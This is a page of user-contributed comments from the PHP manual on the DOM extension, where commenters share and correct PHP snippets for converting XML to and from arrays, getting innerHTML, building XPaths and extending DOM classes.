super dot puma at gmail dot com 13-May-2014 04:57
If  you want to print the DOM XML file content, you can use the next code:

$doc = new DOMDocument();
$doc->load($xmlFileName);
echo "<br>" . $doc->documentURI;
$x = $doc->documentElement;
getNodeContent($x->childNodes, 0);

function getNodeContent($nodes, $level){
    foreach ($nodes AS $item) {
    //  print "<br><br>TIPO: " . $item->nodeType ;
      printValues($item, $level);
      if ($item->nodeType == 1) { //DOMElement
          foreach ($item->attributes AS $itemAtt) {
              printValues($itemAtt, $level+3);
          }
          if($item->childNodes || $item->childNodes->lenth > 0) {
              getNodeContent($item->childNodes, $level+5);
          }
      }
    }
}

function printValues($item, $level){
    if ($item->nodeType == 1) { //DOMElement
        printLevel($level);
        print $item->nodeName . " = " . $item->nodeValue;
    }
    if ($item->nodeType == 2) { //DOMAttr
        printLevel($level);
        print $item->name . " = " . $item->value ;
    }
    if ($item->nodeType == 3) { //DOMText
      if ($item->isWhitespaceInElementContent() == false){
        printLevel($level);
        print $item->wholeText ;
      }
    }
}

function printLevel($level)
{
    print "<br>";
    if ($level == 0) {
        print "<br>";
    }
    for($i=0; $i < $level; $i++) {
        print "-";
    }
}
Drupella 16-Sep-2011 09:18
Here is a fast innerHTML function that returns the result without iterating over child nodes.

<?php
function innerHTML($el) {
  $doc = new DOMDocument();
  $doc->appendChild($doc->importNode($el, TRUE));
  $html = trim($doc->saveHTML());
  $tag = $el->nodeName;
  return preg_replace('@^<' . $tag . '[^>]*>|</' . $tag . '>$@', '', $html);
}
?>

Example
<?php
$doc = new DOMDocument();
// A corrupt HTML string
$doc->loadHTML('<HTML><A HREF="ss">asd</A>');
$body = $doc->getElementsByTagName('body')->item(0);
print htmlspecialchars(innerHTML($body));
// Prints <a href="ss">asd</a>
?>
ben_demott at hotmail dot com 23-Apr-2010 01:36
A function among several others to parse a google results page, I wrote this some time ago - google has probably changed their site since then, but I thought this might be helpful to someone.

I'm moving servers, but I will probably throw this up on my blog when I get it back up.

<?php

function googleResult($listItem) {
    // given a LIST ITEM element, this will validate, and return an array for that LI entry as an inline result from google.
    /*
     * <li class='g w0'>
     *   <h3 class='r'>
     *     <a href='the URL' class='l'>
     *       Description <em>description</em>
     *     </a>
     *   </h3>
     * </li>
     *
       UPDATE:
       This function will now look for any subcontainer that has an href, it doesn't have to be an H3
       this will make it work with a few more formatted search results.
     */

    $listItem = $listItem->childNodes;
        // Yes I don't use instanceof - I guess you'll have to deal.
    foreach($listItem as $element) {
        if(is_object($element) && get_class($element) == 'DOMElement' && $element->hasChildNodes()) {
            $hrefContainer = $element->childNodes;
            foreach($hrefContainer as $element2) {
                if(is_object($element2) && get_class($element2) == 'DOMElement' && $element2->nodeName == 'a' && $element2->hasAttribute('href')) {
                    $anchor = $element2;
                    unset($h3);
                    unset($element2);
                    break;
                } else {
                  //print __LINE__ ." :: Breaking out of loop (normal result) element is not an annchor Element='".$element2->nodeName."'\n";
                }
            }
            unset($element);
            unset($listItem);
            break;
        }
    }
    if(empty($anchor) || !is_object($anchor) || get_class($anchor) != 'DOMElement') {
        //print __LINE__ ." :: Returning false, did not locate anchor through iteration...";
        return false;
    }
    $href = $anchor->getAttribute('href');
    if(empty($href)) {
        //print __LINE__ ." :: Found anchor object, could not read href attribute / href is empty? href='$href'\n";
        return false;
    }
    $description = $anchor->childNodes;
    $urlDescription = '';
    foreach($description as $words) {
        $name =  trim($words->nodeName);
        if($name == 'em' || $name == '#text' || $name == 'b') {
            if(!empty($words->nodeValue)) {
                $text = trim($words->nodeValue);
                $urlDescription = $urlDescription . $text . ' ';
            }
        }
    }
    $urlDescription = htmlspecialchars_decode($urlDescription, ENT_QUOTES);
    $urlDescription = trim($urlDescription);
    return array('description' => $urlDescription, 'href' => $href);
}
sweisman at pobox dot com 24-Sep-2009 01:19
I had problems with the dom2array_full function by "nospam at ya dot ru". Here's my function, which works correctly for my project, and might work for yours:

<?php
function dom_to_array($root)
{
    $result = array();

    if ($root->hasAttributes())
    {
        $attrs = $root->attributes;

        foreach ($attrs as $i => $attr)
            $result[$attr->name] = $attr->value;
    }

    $children = $root->childNodes;

    if ($children->length == 1)
    {
        $child = $children->item(0);

        if ($child->nodeType == XML_TEXT_NODE)
        {
            $result['_value'] = $child->nodeValue;

            if (count($result) == 1)
                return $result['_value'];
            else
                return $result;
        }
    }

    $group = array();

    for($i = 0; $i < $children->length; $i++)
    {
        $child = $children->item($i);

        if (!isset($result[$child->nodeName]))
            $result[$child->nodeName] = dom_to_array($child);
        else
        {
            if (!isset($group[$child->nodeName]))
            {
                $tmp = $result[$child->nodeName];
                $result[$child->nodeName] = array($tmp);
                $group[$child->nodeName] = 1;
            }

            $result[$child->nodeName][] = dom_to_array($child);
        }
    }

    return $result;
}
?>
odessa131 at aol dot nospam dot com 20-Sep-2009 06:49
I had the hardest time updating a complex XML document. Here's a quick example on how to do it.

<?php

// Load the XML from a file.
$xml = "a2062.xml"; // This is an XFDL form previously unencoded and ungzipped.
$dom = new DOMDocument();
$dom->preserveWhiteSpace = false;
$dom->Load($xml);

// Create an XPath query.
// Note: you must define the namespace if the XML document has defined namespaces.
$xpath = new DOMXPath($dom);
$xpath->registerNamespace('xfdl', "http://www.PureEdge.com/XFDL/6.5");

// Locate the value for the first Item Description field.
$query = "//xfdl:page/xfdl:field[@sid='ITEMDESA']/xfdl:value";
$nodeList = $xpath->query($query);

$nodeList->item(0)->nodeValue = "This is the text in the value node of the first Item Description field inside the DA 2062 PureEdge form.";

$dom->save($xml);

?>

I hope this helps someone.
philipwaynerollins at gmail dot com 29-Jul-2009 02:06
You can get the "innerHTML" by nodeValue so

<?php
    $doc = new DOMDocument( );
    $ele = $doc->createElement( 'p', 'Sensei Ninja' );
    print $ele->nodeValue;
?>

You can even set it if you want

<?php
    $doc = new DOMDocument( );
    $ele = $doc->createElement( 'p' );
    $ele->nodeValue = 'Sensei Ninja';
    $doc->appendChild( $ele );
    print $doc->saveHTML( );
?>
Junior 20-Mar-2009 01:26
innerHTML in PHP DOM

<?php
function DOMinnerHTML($element)
{
    $innerHTML = "";
    $children = $element->childNodes;
    foreach ($children as $child)
    {
        $tmp_dom = new DOMDocument();
        $tmp_dom->appendChild($tmp_dom->importNode($child, true));
        $innerHTML.=trim($tmp_dom->saveHTML());
    }
    return $innerHTML;
}
?>

Example:

<?php
$dom= new DOMDocument();
$dom->load($html_string);
$dom->preserveWhiteSpace = false;

$domTable = $dom->getElementsByTagName("table");

foreach ($domTable as $tables)
{
    echo DOMinnerHTML($tables);
}
?>
nospam at ya dot ru 06-Jan-2009 10:18
<?PHP
function dom2array_full($node){
    $result = array();
    if($node->nodeType == XML_TEXT_NODE) {
        $result = $node->nodeValue;
    }
    else {
        if($node->hasAttributes()) {
            $attributes = $node->attributes;
            if(!is_null($attributes))
                foreach ($attributes as $index=>$attr)
                    $result[$attr->name] = $attr->value;
        }
        if($node->hasChildNodes()){
            $children = $node->childNodes;
            for($i=0;$i<$children->length;$i++) {
                $child = $children->item($i);
                if($child->nodeName != '#text')
                if(!isset($result[$child->nodeName]))
                    $result[$child->nodeName] = dom2array($child);
                else {
                    $aux = $result[$child->nodeName];
                    $result[$child->nodeName] = array( $aux );
                    $result[$child->nodeName][] = dom2array($child);
                }
            }
        }
    }
    return $result;
}
?>
fantasyman3000 at gmail dot com 06-Dec-2008 05:37
In response to "simlee at indiana dot edu",
- First of all thanks for sharing your funciton.
- It didn't work for me so i rewrite it from scratch using different method.

Here is the new version, hope it helps someone :

<?php
/**
* result sample : /html[1]/body[1]/span[1]/fieldset[1]/div[1]
* @return string
*/
function getNodeXPath( $node ) {
    $result='';
    while ($parentNode = $node->parentNode) {
        $nodeIndex=-1;
        $nodeTagIndex=0;
        do {
            $nodeIndex++;
            $testNode = $parentNode->childNodes->item( $nodeIndex );

            if ($testNode->nodeName==$node->nodeName and $testNode->parentNode->isSameNode($node->parentNode) and $testNode->childNodes->length>0) {
                //echo "{$testNode->parentNode->nodeName}-{$testNode->nodeName}-{}<br/>";
                $nodeTagIndex++;
            }

        } while (!$node->isSameNode($testNode));

        $result="/{$node->nodeName}[{$nodeTagIndex}]".$result;
        $node=$parentNode;
    };
    return $result;
}
?>

By Sina.Salek.ws
miguelangelhdz at NOSPAM dot com 22-Sep-2008 06:19
After searching how to extend the DOMDocument and DOMElement I found a way in the bug: http://bugs.php.net/bug.php?id=35104. The following code shows how:

<?php
class extDOMDocument extends DOMDocument {
 public function createElement($name, $value=null) {
  $orphan = new extDOMElement($name, $value); // new  sub-class object
  $docFragment = $this->createDocumentFragment(); // lightweight container maintains "ownerDocument"
  $docFragment->appendChild($orphan); // attach
  $ret = $docFragment->removeChild($orphan); // remove
  return $ret; // ownerDocument set; won't be destroyed on  method exit
 }
 // .. more class definition
}

class extDOMElement extends DOMElement {
 function __construct($name, $value='', $namespaceURI=null) {
  parent::__construct($name, $value, $namespaceURI);
 }
  //  ... more class definition here
}

$doc = new extDOMDocument('test');
$el = $doc->createElement('tagname');
$el->setAttribute("attr", "val");
$doc->appendChild($el);

// append discards the DOMDocumentFragment and just adds its child nodes, but ownerDocument is maintained.
echo get_class($el)."<br/>";
echo get_class($doc->documentElement)."<br/>";
echo "<xmp>".$doc->saveXML()."</xmp>";
?>
tobiasz.cudnik[at]gmail.com 29-Jul-2008 06:47
If you need simple interface to DOM check out phpQuery - jQuery port to PHP:
http://code.google.com/p/phpquery/

It uses CSS selectors to fetch nodes.
Here's example how it works:
<?php
// just one file to include
require('phpQuery/phpQuery.php');

$html = '
<div>
    mydiv
    <ul>
        <li>1</li>
        <li>2</li>
        <li>3</li>
    </ul>
</div>';

// intialize new DOM from markup
phpQuery::newDocument($markup)
    ->find('ul > li')
        ->addClass('my-new-class')
        ->filter(':last')
            ->addClass('last-li');

// query all unordered lists in last used DOM
pq('ul')->insertAfter('div');

// iterate all LIs from last used DOM
foreach(pq('li') as $li) {
    // iteration returns plain DOM nodes, not phpQuery objects
    pq($li)->addClass('my-second-new-class');
}

// same as pq('anything')->htmlOuter()
// but on document root (returns doctype etc)
print phpQuery::getDocument();
?>

It uses DOM extension and XPath so it works only in PHP5.
Sven Arduwie 16-Mar-2008 06:28
I needed a function that quickly converts an xml with key/value pairs to an array.

for example:
<?xml version="1.0" encoding="UTF-8"?>
<test>
    <key id="Array key #1" value="Value #1"/>
    <key id="Array key #2" value="Value #2"/>
    <key id="Dupe" value="Duplicate keys"/>
    <key id="Dupe" value="create numeric arrays"/>
    <key id="And another key">
        <![CDATA[
            Multiline
            data
            works
            just
            as
            well.
        ]]>
    </key>
    <nested>
        <key id="Nested key" value="Nested data works as well, but it still results in a 1 dimensional array."/>
    </nested>
</test>

Results in the following array:
array(5) {
  ["Array key #1"]=>
  string(8) "Value #1"
  ["Array key #2"]=>
  string(8) "Value #2"
  ["Dupe"]=>
  array(2) {
    [0]=>
    string(14) "Duplicate keys"
    [1]=>
    string(21) "create numeric arrays"
  }
  ["And another key"]=>
  string(49) "Multiline
            data
            works
            just
            as
            well."
  ["Nested key"]=>
  string(73) "Nested data works as well, but it still results in a 1 dimensional array."
}

Here's the code:
<?php
    function xml2array($xml) {
        $domDocument = new DOMDocument;
        $domDocument->loadXML($xml);
        $domXPath = new DOMXPath($domDocument);
        $array = array();
        foreach ($domXPath->query('//key') as $keyDOM) {
            $id = $keyDOM->getAttribute('id');
            $value = $keyDOM->hasAttribute('value') ? $keyDOM->getAttribute('value') : trim($keyDOM->textContent);
            if (array_key_exists($id, $array)) {
                if (is_array($array[$id])) {
                    $array[$id][] = $value;
                } else {
                    $array[$id] = array($array[$id]);
                    $array[$id][] = $value;
                }
            } else {
                $array[$id] = $value;
            }
        }
        return $array;
    }
?>
danf dot 1979 at []gmail[] dot com 24-Feb-2008 07:47
This is a couple of classes to deal with yahoo yui menu.

/*
  $menubar = new MenuBar();

  $file = new Menu("File");
  $file->setAttribute("href", "http://file.com");

  $quit = new Menu("Quit");
  $quit->setAttribute("href", "http://quit.com");

  $file->appendChild($quit);
  $menubar->appendChild($file);

  echo $menubar->grab();
*/

//
// Author: Daniel Queirolo.
// LGPL
//

/** ---------------------------------
/**  Class MenuBar()
/**  Creates a the menubar and appends
/**  yuimenubaritems to it.
/** ---------------------------------*/

class MenuBar extends DOMDocument
{

  public $menuID = "nav_menu";  // holds the css id that javascript yui menu code should have to recognize
  private $UL;                  // This node holds every menu, This is THE node.

  /** ---------------------------------
  /**  Constructor
  /**  Generates a menubar skeleton and the UL node
  /** ---------------------------------*/

  public function __construct() {

    parent::__construct();

    $rootdiv = parent::createElement("div");
    $rootdiv->setAttribute("class", "yui-skin-sam");

    parent::appendChild($rootdiv);

    $yui_menubar = parent::createElement("div");
    $yui_menubar->setAttribute("id", $this->menuID);
    $yui_menubar->setAttribute("class", "yuimenubar");

    $rootdiv->appendChild($yui_menubar);

    $bd = parent::createElement("div");
    $bd->setAttribute("class", "bd");

    $yui_menubar->appendChild($bd);

    $ul = parent::createElement("ul");
    $ul->setAttribute("class", "first-of-type");

    // ALL Menu() instances ocurr inside an <ul> tag.

    $this->UL = $bd->appendChild($ul);

  }

  /** ---------------------------------
  /**  appendChild()
  /**  Appends a new yuimenubaritem to the menubar UL node.
  /**  This function changes <li> and <a> classes to yuiMENUBARsomething
  /** ---------------------------------*/

  public function appendChild($child) {

    $li = parent::importNode($child->LI, true);

    $li->setAttribute("class", "yuimenubaritem");

    $li->getElementsByTagName("a")->item(0)->setAttribute("class", "yuimenubaritemlabel");

    $this->UL->appendChild($li);

  }

  public function grab() {

    return parent::saveHTML();

  }

}

/** ---------------------------------
/**  Class Menu()
/**  Creates a yuimenuitem li node
/** ---------------------------------*/

class Menu extends DOMDocument {

  public $LI; // stores the <li> node (THE link) that will be exported to MenuBar() or used on appendChild()

  /** ---------------------------------
  /**  Constructor
  /**  Generates a yuimenuitem li node
  /**  No yuimenubar items are created here. MenuBar handles that.
  /** ---------------------------------*/

  public function __construct($link_name) {

    parent::__construct();

    $li = parent::createElement("li");
    $li->setAttribute("class", "yuimenuitem");

    // LI node stores THE link.
    // if appendChild is used, the new (sub) Menu() would be LI node child.

    $this->LI = parent::appendChild($li);

    $a = parent::createElement("a", $link_name);
    $a->setAttribute("class", "yuimenuitemlabel");

    $li->appendChild($a);

    $this->li = $li;
    $this->a = $a;

  }

  /** ---------------------------------
  /**  appendChild
  /**  Appends a (sub) Menu() to current Menu() in LI
  /** ---------------------------------*/

  public function appendChild($child) {

    $yuimenu = parent::createElement("div");
    $yuimenu->setAttribute("class", "yuimenu");

    $this->LI->appendChild($yuimenu);

    $bd = parent::createElement("div");
    $bd->setAttribute("class", "bd");

    $yuimenu->appendChild($bd);

    $ul = parent::createElement("ul");

    $bd->appendChild($ul);

    // child->NODE holds THE link from the new child (from child's __construct())

    $ul->appendChild(parent::importNode($child->LI, true));

  }

  public function setAttribute($name, $value, $node="a") {

      if ($node == "a") {
        $this->a->setAttribute($name, $value);
      }

      else {
        $this->li->setAttribute($name, $value);
      }
  }

}
Anonymous 29-Jan-2008 11:37
In response to...
"If you create your own custom element extending DOMElement and append him in place of the document element, you cannot access to any new members newly defined in your custom class via DOMDocument::$documentElement."

... it is not a bug, it is a feature. The DOMDocument::$documentElement property name may be misleading but according to the DOM Level 2 Core specification it is a convenience attribute meant to access the root element of your DOMDocument. See here: http://www.w3.org/TR/DOM-Level-2-Core/core.html#i-Document
ryoroxdahouse at hotmail dot com 25-Jan-2008 12:14
I use DOM to generate dynamically XHTML document.

When trying to extend the DOMDocument and DOMElement classes, I found a very annoying bug concerning DOMDocument::$documentElement.

If you create your own custom element extending DOMElement and append him in place of the document element, you cannot access to any new members newly defined in your custom class via DOMDocument::$documentElement.

In my situation, I cannot use DOMDocument::registerNodeClass() because the document element is not necessarily the base class for all the elements in my document.

*******
problem
*******

See bellow for the repro step:

<?php
    class MyElement extends DOMElement{
        public $myProp="myProp";
        public function myMethod(){
            return 'myMethod()';
        }
    }

    $myDocument=new DOMDocument();
    $myDocument->appendChild(new MyElement('myElement','myElement'));
    echo ('$myElement->myProp :'.$myDocument->documentElement->myProp.'<br />');
    echo ('$myElement->myMethod :'.$myDocument->documentElement->myMethod().'<br />');
?>

will output:

Notice: Undefined property: DOMElement::$myProp in C:\Program Files\EasyPHP 2.0b1\www\testDOMBug\test2.php on line 11
$myElement->myProp :

Fatal error: Call to undefined method DOMElement::myMethod() in C:\Program Files\EasyPHP 2.0b1\www\testDOMBug\test2.php on line 12

*******
solution
*******

After searching around, I found a pretty odd way to fix this problem. It seems that you have to stock a reference to your appended document element in an user-defined (and persistent) variable (in other words, not only in DOMDocument::$documentElement). See below:

<?php
    class MyElement extends DOMElement{
        public $myProp="myProp";
        public function myMethod(){
            return 'myMethod()';
        }
    }

    $myDocument=new DOMDocument();
    $mydocumentElement=$myDocument->appendChild(new MyElement('myElement','myElement')); //here is the hack
    echo ('$myElement->myProp :'.$myDocument->documentElement->myProp.'<br />');
    echo ('$myElement->myMethod :'.$myDocument->documentElement->myMethod().'<br />');
?>

will output:

$myElement->myProp :myProp
$myElement->myMethod :myMethod()

Hope it will help.
naudyj at aus3d.com 03-Jan-2008 05:06
The following can take a XML_TEXT_NODE node and return the contents in an array. Yanick's contribution rocks - but
it overwrote with duplicates only keeping the last line
in the returned array. All the other functions i tested from various sources failed to handle text nodes correctly. Hope this helps someone. It is adapted from code on this site.

function myTextNode($n, &$a)
{
 static $depth = 0;
 static $sz = '';

 if ($cn = $n->firstChild)
 {
  while ($cn)
  {
   if ($cn->nodeType == XML_TEXT_NODE)
   {
    $sz .= $cn->nodeValue;
   }
   elseif ($cn->nodeType == XML_ELEMENT_NODE)
   {
    $b = 1;
    if ($cn->hasChildNodes())
    {
     $depth++;
     if ($this->myHeadings($cn, $a))
     {
      if ($sz){
       array_push($a, $sz);
       $sz = '';
      }
     }
     $depth--;
    }
   }
   $cn = $cn->nextSibling;
  }
  return $b;
 }
}

so you could use:

$nodes = $dom->getElementsByTagName("td");
if($nodes){
 foreach ($nodes as $node){
  $a = Array();
  myTextNode($node, $a);
 }
}
jim.filter (at gmail.com) 03-Nov-2007 07:42
Array to DOM

Here is a recursive function to turn a multidimensional array into an XML document.  It will handle multiple elements of the same tag, but only one per parent element. IE:

Can't generate:         Can generate:
<root>                  <root>
  <sub1>data1</sub1>      <subs1>
  <sub1>data2</sub1>         <value>data1</value>
  <sub2>data1</sub2>         <value>data2</value>
  <sub2>data2</sub2>      </subs1>
</root>                   <subs2>
                            <value>data1</value>
                            <value>data2</value>
                          <subs2>
                        </root>

Also, the function performs no type of error checking on your array and will throw a DOMException if a key value you used in your array contains invalid characters for a proper DOM tag. This function is untested for "deep" multidimensional arrays.

Complete code ready to run with example:

<?PHP
  function AtoX($array, $DOM=null, $root=null){

    if($DOM  == null){$DOM  = new DOMDocument('1.0', 'iso-8859-1');}
    if($root == null){$root = $DOM->appendChild($DOM->createElement('root'));}

    $name = $array['#MULTIPLE_ELEMENT_NAME'];

      foreach($array as $key => $value){
        if(is_int($key) && $name != null){
          if(is_array($value)){
            $subroot = $root->appendChild($DOM->createElement($name));
            AtoX($value, $DOM, $subroot);
          }
          else if(is_scalar($value)){
            $root->appendChild($DOM->createElement($name, $value));
          }
        }
        else if(is_string($key) && $key != '#MULTIPLE_ELEMENT_NAME'){
          if(is_array($value)){
            $subroot = $root->appendChild($DOM->createElement($key));
            AtoX($value, $DOM, $subroot);
          }
          else if(is_scalar($value)){
            $root->appendChild($DOM->createElement($key, $value));
          }
        }
      }
    return $DOM;
  }

  $array = array(
                    '#MULTIPLE_ELEMENT_NAME' => 'GenericDatas',
                    'Date'      => 'November 03, 2007',
                    'Company'   => 'Facility One',
                    'Field'     => 'Facility Management Software',
                    'Employees' => array(
                                      '#MULTIPLE_ELEMENT_NAME' => 'Employee',
                                      'Cindy',
                                      'Sean',
                                      'Joe',
                                      'Owen',
                                      'Jim',
                                      'Dale',
                                      'Kelly',
                                      'Ryan',
                                      'Johnathan',
                                      'Robin',
                                      'William Marcus',
                                      'NewCoops' => array(
                                                          '#MULTIPLE_ELEMENT_NAME' => 'Coop',
                                                          'John',
                                                          'Tyler',
                                                          'Ray',
                                                          'Dawn'
                                                         )
                                    ),
                    'Datas',
                    'DATAS',
                    'OtherDatas'
                );

  $DOM  = new DOMDocument('1.0', 'iso-8859-1');
  $root = $DOM->appendChild($DOM->createElement('CompanyData'));
  $DOM  = AtoX($array, $DOM, $root);
  $DOM->save('C:\test.xml');
?>
PHPdeveloper 06-Sep-2007 02:46
The Yanik's dom2array() function (added on 14-Mar-2007 08:40) does not handle multiple nodes with the same name, i.e.:

<foo>
  <name>aa</name>
  <name>bb</name>
</foo>

It will overwrite former and your array will contain just the last one ("bb")
Francois Hill 01-Aug-2007 11:21
In response to lutfi at smartconsultant dot us :

(see my post on
http://fr2.php.net/manual/en/
function.dom-domdocument-getelementsbytagname.php
)

Use this class I wrote:

class XPathableNode extends DOMNode
{
    protected $Node;
    protected $DOMDocument_from_node;
    protected $DOMXpath_for_node;

    public function __construct(/* DOMNode */ $node)
    {
        $this->Node=$node;
        $this->DOMDocument_from_node=new
                                                          DomDocument();
        $domNode=$this->DOMDocument_from_node
                                  ->importNode($this->Node, true);
        $this->DOMDocument_from_node
                                 ->appendChild($domNode);
        $this->DomXpath_for_node =
                    new Domxpath($this->
                                         DOMDocument_from_node);
    }

    public function convertHTML()
    {    return $this->DOMDocument_from_node
                                                             ->saveHTML();
    }

    public /*DomNodeList*/ function applyXpath($xpath)
    {    return $this->DomXpath_for_node
                                                       ->query($xpath);
    }
}

(sorry for the display... What a terrible hinderance on the
part of php.net !)

Then :
Make a new XPathableNode out of your parent node.
You may then retrieve a DOMNodeList from it by applying a
xpath (thus being able to specify the depth  and name of
elements you want).

Has got me around some (of the many) DOM awkwardnesses a few times.

;o)
Sanados at failure dot at 05-Jun-2007 02:45
appended to
brian dot reynolds at risaris dot com
20-Feb-2007 10:09

when you got variable nodes at start you array fails and looses nodes  beneath.
solution that counts occurance though eats up performance:

function xmlToArray($n)
{
    $xml_array = array();
    $occurance = array();

     foreach($n->childNodes as $nc)
     {
         $occurance[$nc->nodeName]++;
     }

    foreach($n->childNodes as $nc){
        if( $nc->hasChildNodes() )
        {
            if($occurance[$nc->nodeName] > 1)
            {
                $xml_array[$nc->nodeName][] = xmlToArray($nc);
            }
            else
            {
                $xml_array[$nc->nodeName] = xmlToArray($nc);
            }
        }
        else
        {
            return utf8_decode($nc->nodeValue);
        }
    }
    return $xml_array;
}
Yanik <clonyara(at)ahoo(dot)com> 13-Mar-2007 11:40
I hate DOM model !
so I wrote dom2array simple function (simple for use):

function dom2array($node) {
  $res = array();
  print $node->nodeType.'<br/>';
  if($node->nodeType == XML_TEXT_NODE){
      $res = $node->nodeValue;
  }
  else{
      if($node->hasAttributes()){
          $attributes = $node->attributes;
          if(!is_null($attributes)){
              $res['@attributes'] = array();
              foreach ($attributes as $index=>$attr) {
                  $res['@attributes'][$attr->name] = $attr->value;
              }
          }
      }
      if($node->hasChildNodes()){
          $children = $node->childNodes;
          for($i=0;$i<$children->length;$i++){
              $child = $children->item($i);
              $res[$child->nodeName] = dom2array($child);
          }
      }
  }
  return $res;
}
Nevyn at N dot O dot S dot P dot A dot M dot emai dot it 10-Mar-2007 07:35
I wrote a couple of functions to:
 - create a DOMDocument from a file
 - parse the namespaces in it
 - create a XPath object with all the namespaces registered
 - load the schemalocations
 - validate the file on the main schema (the one without prefix)

It is useful for me, see if it is also for someone else!!

Giulio

function decodeNode($node)
{
    $out = $node->ownerDocument->saveXML($node);
    $re = "{^<((?:\\w*:)?\\w*)". //the tag name
    "[\\s\n\r]*((?:[\\s\n\r]*".
    "(?:\\w*:)?\\w+[\\s\n\r]*=[\\s\n\r]*". //possible attribute name
    "(?:\"[^\"]*\"|\'[^\']*\'))*)". //attribute value
    "[\\s\n\r]*>[\r\n]*".
    "((?:.*[\r\n]*)*)". //content
    "[\r\n]*</\\1>$}"; //closing tag
    preg_match($re, $out, $mat);
    return $mat;
}

function innerXml($node)
{
    $mat = decodeNode($node);
    return $mat[3];
}

function getnodeAttributes($node)
{
    $mat = decodeNode($node);
    $txt = $mat[2];
    $re = "{((?:\\w*:)?\\w+)[\\s\n\r]*=[\\s\n\r]*(\"[^\"]*\"|\'[^\']*\')}";
    preg_match_all($re, $txt, $mat);
    $att = array();
    for ($i=0; $i<count($mat[0]); $i++)
    {
        $value = $mat[2][$i];
        if ($value[0] == "\'" || $value[0] == "\"")
        {
            $len = strlen($value);
            $value = substr($value, 1, strlen($value)-2);
        }
        $att[ $mat[1][$i] ] = $value;
    }
    return $att;
}

function loadXml($file)
{
    $doc = new DOMDocument();
    $doc->load($file);
    //cerca l'attributo xmlns
    $xsi = false;
    $doc->namespaces = array();
    $doc->xpath = new DOMXPath($doc);

    $attr = getnodeAttributes($doc->documentElement);
    foreach ($attr as $name => $value)
    {
        if (substr($name,0,5) == "xmlns")
        {
            $uri = $value;
            $pre = $doc->documentElement->lookupPrefix($uri);
            if ($uri == "http://www.w3.org/2001/XMLSchema-instance")
                $xsi = $pre;
            $doc->namespaces[$pre] = $uri;
            if ($pre == "")
                $pre = "noname";
            $doc->xpath->registerNamespace($pre, $uri);
        }
    }

    if ($xsi)
    {
        $doc->schemaLocations = array();
        $lst = $doc->xpath->query("//@$xsi:schemaLocation");
        foreach($lst as $el)
        {
            $re = "{[\\s\n\r]*([^\\s\n\r]+)[\\s\n\r]*([^\\s\n\r]+)}";
            preg_match_all($re, $el->nodeValue, $mat);
            for ($i=0; $i<count($mat[0]); $i++)
            {
                $value = $mat[2][$i];
                $doc->schemaLocations[ $mat[1][$i] ] = $value;
            }
        }

        $olddir = getcwd();
        chdir(dirname($file));
        $schema = $doc->schemaLocations[$doc->namespaces[""]];
        if (substr($schema,0,7) == "file://")
        {
            $schema = substr($value,7);
        }
        if (!$doc->schemaValidate($schema))
            dbg()->err("Invalid file");
        chdir($olddir);
    }

    return $doc;
}
brian dot reynolds at risaris dot com 20-Feb-2007 01:09
I found the xml2array function below very useful, but there seems to be a bug in it. The $item variable was never getting set. I've expanded this out to be a bit more readable, and the corrected code is :

function xmlToArray($n)
{
    $return=array();

    foreach($n->childNodes as $nc){
        if( $nc->hasChildNodes() ){
            if( $n->firstChild->nodeName== $n->lastChild->nodeName&&$n->childNodes->length>1){
                $item = $n->firstChild;
                $return[$nc->nodeName][]=$this->xmlToArray($item);
            }
            else{
                 $return[$nc->nodeName]=$this->xmlToArray($nc);
            }
       }
       else{
           $return=$nc->nodeValue;
       }
    }
    return $return;
}
cooper at asu dot ntu-kpi dot kiev dot ua 22-Nov-2006 02:32
If you are using not object-oriented functions and it takes too much time to change them all (or you'll be replacing them later) then as a temporary decision can be used this modules:

For DOM XML:
http://alexandre.alapetite.net/doc-alex/domxml-php4-php5/

For XSLT:
http://alexandre.alapetite.net/doc-alex/xslt-php4-php5/
sean at lookin3d dot com 17-Aug-2006 10:21
$xmlDoc=<<<XML
<?xml version="1.0"?>
<methodCall>
   <methodName>examples.getStateName</methodName>
   <params>
      <param>
         <value><i4>41</i4></value>
         </param>
      </params>
   </methodCall>
XML;

$xml= new DOMDocument();
$xml->preserveWhiteSpace=false;
$xml->loadXML($xmlDoc);
print_r(xml2array($xml));

function xml2array($n)
{
    $return=array();
    foreach($n->childNodes as $nc)
    ($nc->hasChildNodes())
    ?($n->firstChild->nodeName== $n->lastChild->nodeName&&$n->childNodes->length>1)
    ?$return[$nc->nodeName][]=xml2array($item)
    :$return[$nc->nodeName]=xml2array($nc)
    :$return=$nc->nodeValue;
    return $return;
}
simlee at indiana dot edu 29-Dec-2005 12:16
The project I'm currently working on uses XPaths to dynamically navigate through chunks of an XML file.  I couldn't find any PHP code on the net that would build the XPath to a node for me, so I wrote my own function.  Turns out it wasn't as hard as I thought it might be (yay recursion), though it does entail using some PHP shenanigans...

Hopefully it'll save someone else the trouble of reinventing this wheel.

<?php
    function getNodeXPath( $node ) {
        // REMEMBER THAT XPATHS USE BASE-1 INSTEAD OF BASE-0!!!

        // Get the index for the current node by looping through the siblings.
        $parentNode = $node->parentNode;
        if( $parentNode != null ) {
            $nodeIndex = 0;
            do {
                $testNode = $parentNode->childNodes->item( $nodeIndex );
                $nodeName = $testNode->nodeName;
                $nodeIndex++;

                // PHP trickery!  Here we create a counter based on the node
                //  name of the test node to use in the XPath.
                if( !isset( $$nodeName ) ) $$nodeName = 1;
                else $$nodeName++;

                // Failsafe return value.
                if( $nodeIndex > $parentNode->childNodes->length ) return( "/" );
            } while( !$node->isSameNode( $testNode ) );

            // Recursively get the XPath for the parent.
            return( getNodeXPath( $parentNode ) . "/{$node->nodeName}[{$$nodeName}]" );
        } else {
            // Hit the root node!  Note that the slash is added when
            //  building the XPath, so we return just an empty string.
            return( "" );
        }
    }
?>
johanwthijs-at-hotmail-dot-com 14-Dec-2005 06:25
Being an experienced ASP developer I was wondering how to replace textual content of a node (with msxml this is simply acheived by setting the 'text' property of a node). Out of frustration I started to play around with SimpleXml but I could not get it to work in combination with xPath.

I took me a lot of time to find out so I hope this helps others:

function replaceNodeText($objXml, $objNode, $strNewContent){
    /*
    This function replaces a node's string content with strNewContent
    */
    $objNodeListNested = &$objNode->childNodes;
    foreach ( $objNodeListNested as $objNodeNested ){
         if ($objNodeNested->nodeType == XML_TEXT_NODE)$objNode->removeChild ($objNodeNested);
    }

    $objNode->appendChild($objXml->createTextNode($strNewContent));
}

$objXml= new DOMDocument();
$objXml->loadXML('<root><node id="1">bla</note></root>');
$objXpath = new domxpath($objXml);

$strXpath="/root/node[@id='1']";
$objNodeList = $objXpath ->query($strXpath);
foreach ($objNodeList as $objNode){
//pass the node by reference
replaceNodeText($objXml, &$objNode, $strImportedValue);
